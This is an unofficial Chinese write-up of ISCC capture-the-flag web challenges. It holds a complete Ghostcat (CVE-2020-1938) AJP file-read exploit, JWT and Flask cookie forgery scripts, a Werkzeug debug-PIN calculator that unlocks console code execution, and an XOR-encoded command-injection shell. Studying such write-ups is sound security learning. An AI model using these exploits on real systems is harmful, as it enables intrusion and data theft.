（非官方解，以下内容均互联网收集的信息和个人思路，仅供学习参考）
还没想好名字的塔防游戏
GET /world.js HTTP/1.1
Host: 101.200.138.180:17345
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Mystic Defense War: The Secret of Guardian Towers and Magical Monsters
Eagles Sculpt Clouds Silver Lakes Glitter Wolves Whisper Moonlight
ISCC{MDWTSGTMMESCSLGWWM}
游戏英文名和提示的所有英文大写拼起来就是flag
代码审计
和这个思路基本吻合
原神启动
、
随便访问了一个路径，显示文件不存在，404错误，下面给出了Apache Tomcat的版本8.5.32
可以看到这个版本存在CVE漏洞
CVE-2020-1938 任意文件读取
拿通用Poc就能打。
import struct
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)
res += pack_string(self.request_headers[h_name])
return res
def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res
r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break
return res
class AjpResponse(object):
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError
def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value
def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)
def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")
def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen
@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r
import socket
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr
class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)
def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res
'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
print('----------------------------')
print("".join([d.data for d in data]))
前面题目提示了flag在flag.txt，但根目录的flag.txt是假的flag，那么可以去Java的WEB默认目录WEB-INF找，发现在/WEB-INF/flag.txt下
python2 1.py -101.200.138.180 -p 8009 -f /WEB-INF/flag.txt
Flask中的pin值计算
要计算flask pin的码，首先拿到几个参数，按以下步骤，
1、先看源码 L2dldHVzZXJuYW1l，解密/getusername，问田螺“告诉我username是什么”，拿到username是pincalculate
访问该路由输入app之后提示访问/crawler，需要在1秒内计算，写个代码，
import requests
url1='http://101.200.138.180:10006/crawler?answer='
url='http://101.200.138.180:10006/get_expression'
s = requests.Session()
res=s.get(url)
math=res.text.split('"')
math1=math[3].replace("\\u00d7",'*').replace('\\u00f7','/')
result = eval(math1)
result=str(result)
res2=s.get(url1+result)
print(res2.text)
得到结果
<h1>/usr/local/lib/python3.11/site-packages/flask/app.py</h1>
<h1>uuidnode_mac位于/woddenfish</h1>
2、继续访问/woddenfish路由，点击多少次都是显示公德不足，查看一下源码拿到jwt是eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZG9uYXRlIiwicXVhbnRpdHkiOjF9.gT7yG_zYb22iGVXcGtSVzYr-fAeb_Nyv4KbeH3Ez8hc，解jwt得到{ "name": "donate","quantity": 1}，代码获取公德值是这一段
document.querySelector('h1').textContent = '当前功德：' + data.gongde;
document.querySelectorAll('h1')[1].textContent = data.message;
那么我们要先将donate换成gongde，然后quantity设置很大，根据源码jwt的key是ISCC_muyu_2024
构造jwt如下，拿到jwt为eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiZ29uZ2RlIiwicXVhbnRpdHkiOjEwMDAwMDAwMDAwMDAwMDAwMH0.x6-VS-GxFVLdgjkP6eDWWg1qSuFBe6hZntt5GHUysho
然后传jwt，得到了，佛曰：功德圆满。地址02:42:ac:18:00:02:,机器码提示给你了/machine_id
3、继续访问/machine_id路由，点一下vip拿到一个jwt，点supervip身份无法匹配，解jwt是
{
"exp": 1714575775,
"iat": 1714572175,
"jti": "XAPsSANxSpKZ_nnYpP8C7A",
"nbf": 1714572175,
"role": "member",
"username": "ISCCmember"
}
需要改role为supervip才行，使用脚本构造jwt
from json import loads, dumps
from jwcrypto.common import base64url_encode, base64url_decode
def topic(topic):
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
print(parsed_payload)
parsed_payload["role"] = "vip"
print(dumps(parsed_payload, separators=(',', ':')))
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
print(fake_payload)
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '
print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.YVvAH0_4EeqHYJul89B8xEa8RxlNarw5xdmPldPPtshmcU6LLQjvC28Cj6J1XnEFls83jCi9XRXSY-50f4jHO7z9WHjDszJoQ6F6MXtmGzsAaLfoJBwKkeGMvs_0zMlE9vNBHVrNMOXPf30UZUMtWgyUiVZp33ugkfujWhGTECdd2lH6xQ9FfzhpG5t3nk6UNVY4Z7KenqZ_UybP1FqRhLdRu1dGsSHqXWtzInVsJcHKlwEw9BGtp3S0IG2wWUBEl0q19b1mNRVXKvnWrTWf9DPImOIhnGZVAMvG8p4QCx6KZdVhpbA1g4-pmjf4PsyvQwdxo1uh5uEx-Xej-gBYzQ'))
#{" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6InZpcCIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9","signature":"YVvAH0_4EeqHYJul89B8xEa8RxlNarw5xdmPldPPtshmcU6LLQjvC28Cj6J1XnEFls83jCi9XRXSY-50f4jHO7z9WHjDszJoQ6F6MXtmGzsAaLfoJBwKkeGMvs_0zMlE9vNBHVrNMOXPf30UZUMtWgyUiVZp33ugkfujWhGTECdd2lH6xQ9FfzhpG5t3nk6UNVY4Z7KenqZ_UybP1FqRhLdRu1dGsSHqXWtzInVsJcHKlwEw9BGtp3S0IG2wWUBEl0q19b1mNRVXKvnWrTWf9DPImOIhnGZVAMvG8p4QCx6KZdVhpbA1g4-pmjf4PsyvQwdxo1uh5uEx-Xej-gBYzQ"}
使用构造好的传参
GET /vipprice?token={"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6InZpcCIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9","payload":"eyJleHAiOjE3MTQ1NzU1MjEsImlhdCI6MTcxNDU3MTkyMSwianRpIjoiQVk0NzVNb3RETHNsSENpbUxtR3JXQSIsIm5iZiI6MTcxNDU3MTkyMSwicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9","signature":"YVvAH0_4EeqHYJul89B8xEa8RxlNarw5xdmPldPPtshmcU6LLQjvC28Cj6J1XnEFls83jCi9XRXSY-50f4jHO7z9WHjDszJoQ6F6MXtmGzsAaLfoJBwKkeGMvs_0zMlE9vNBHVrNMOXPf30UZUMtWgyUiVZp33ugkfujWhGTECdd2lH6xQ9FfzhpG5t3nk6UNVY4Z7KenqZ_UybP1FqRhLdRu1dGsSHqXWtzInVsJcHKlwEw9BGtp3S0IG2wWUBEl0q19b1mNRVXKvnWrTWf9DPImOIhnGZVAMvG8p4QCx6KZdVhpbA1g4-pmjf4PsyvQwdxo1uh5uEx-Xej-gBYzQ"}
得到结果"welcome_to_iscc_club"，应该就是supervip的key，用flask_session_cookie_manager3.py
python flask_session_cookie_manager3.py encode -s "welcome_to_iscc_club" -t "{'role': 'supervip'}"
伪造成 eyJyb2xlIjoic3VwZXJ2aXAifQ.ZjIBhQ.2jMkekdDuFQCN5L61z9ee0C0Big，改cookie 后点supervip得到
acff8a1c-6825-4b9b-b8e1-8983ce1a8b94，这就是machine-id了，自此我们都拿到了
username：pincalculate
modname：flask.app #默认
appname：Flask #默认
app.py绝对路径：/usr/local/lib/python3.11/site-packages/flask/app.py
uuidnode mac：2485378351106 #
machine_id 机器码：acff8a1c-6825-4b9b-b8e1-8983ce1a8b94
pin脚本跑一下
import hashlib
from itertools import chain
probably_public_bits = [
'pincalculate',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.11/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485378351106',# str(uuid.getnode()), /sys/class/net/ens33/address
'acff8a1c-6825-4b9b-b8e1-8983ce1a8b94'# get_machine_id(), /etc/machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
#252-749-991
payload：http://101.200.138.180:10006/console?pin=252-749-991
Web 掉进阿帕奇的工资
- 前台功能点测试，发现通过重置密保1取得manager身份登录后台
- 对功能点进行测试，发现工资页面是异或的命令执行，编写exp反弹shell
- 信息搜集发现有一个部分的Docfile，结合题意深入阴暗面，猜测需要横向。
- 反弹shell之后，用PHP CLI构造一个GET请求，得到响应验证的确是一个nginx服务，访问/flag拿到flag：
php -r "\$url = 'http://secret.host/flag'; \$options = ['http' => ['ignore_errors' => true]]; \$context = stream_context_create(\$options); \$content = file_get_contents(\$url, false, \$context); if (\$content !== false) { echo \$content; } else { echo 'Failed to fetch content.'; }"
Exp
import requests
from bs4 import BeautifulSoup
import re
headers = {
"Origin": "http://101.200.138.180:60000",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36",
}
cookies = {
"PHPSESSID": "",
}
preg_match = "flag|system|php|cat|sort|shell|\.| |'|\`|echo|\;|\(|\""
alphabet = [chr(i) for i in range(256)]
# print(alphabet)
alphabet = [c for c in alphabet if not re.match(preg_match, c)]
xor_alphabet = {}
for a in alphabet:
for b in alphabet:
if a == "'" or b == "'" or a == '"' or b == '"':
continue
c = chr(ord(a) ^ ord(b))
if not xor_alphabet.get(c):
xor_alphabet[c] = (a, b)
def xor_encode(payload):
s1 = ""
s2 = ""
for c in payload:
if c not in xor_alphabet:
raise Exception(f"Invalid character '{c}' in payload")
s1 += xor_alphabet[c][0]
s2 += xor_alphabet[c][1]
return s1, s2
def runcmd(cmd):
# URL and headers for the POST request
url = "http://101.200.138.180:60000/gongzi_iscc.php"
# Encoding the command
basic_salary, performance_coefficient = xor_encode(cmd)
# print(f"basic_salary: {basic_salary}")
# print(f"performance_coefficient: {performance_coefficient}")
# Preparing the POST data
data = {
"basicSalary": basic_salary,
"performanceCoefficient": performance_coefficient,
"calculate": "1",
}
# Sending the POST request
response = requests.post(url, headers=headers, cookies=cookies, data=data)
# print(response.text)
# Parse the HTML with BeautifulSoup
soup = BeautifulSoup(response.text, "html.parser")
# Extract the value from <div class="result-box">
result_box = soup.find("div", class_="result-box")
if result_box:
extracted_value = (
result_box.text.strip()
) # Using strip() to remove any surrounding whitespace
# Remove the input command from the output if it appears
return extracted_value
else:
return "None"
def get():
payload = f"php -r \"\\$base_url = 'http://secret.host/'; \\$query_string = ''; \\$url = \\$base_url . '?' . \\$query_string; \\$options = ['http' => ['ignore_errors' => true]]; \\$context = stream_context_create(\\$options); \\$response = @get_headers(\\$url, 1, \\$context); print_r(\\$response);\""
return runcmd(payload)
def main():
while True:
cmd = input(">>").strip()
if cmd == "exit":
break
print(runcmd(cmd))
if __name__ == "__main__":
main()
回来吧永远滴神
SSTI一把梭反弹shell：
跑出来payload并发送：
读到Flag[2]和Flag[1]
源码dump下来，审计：
栅栏解密：
与时俱进
CVE-2023-50782
1186
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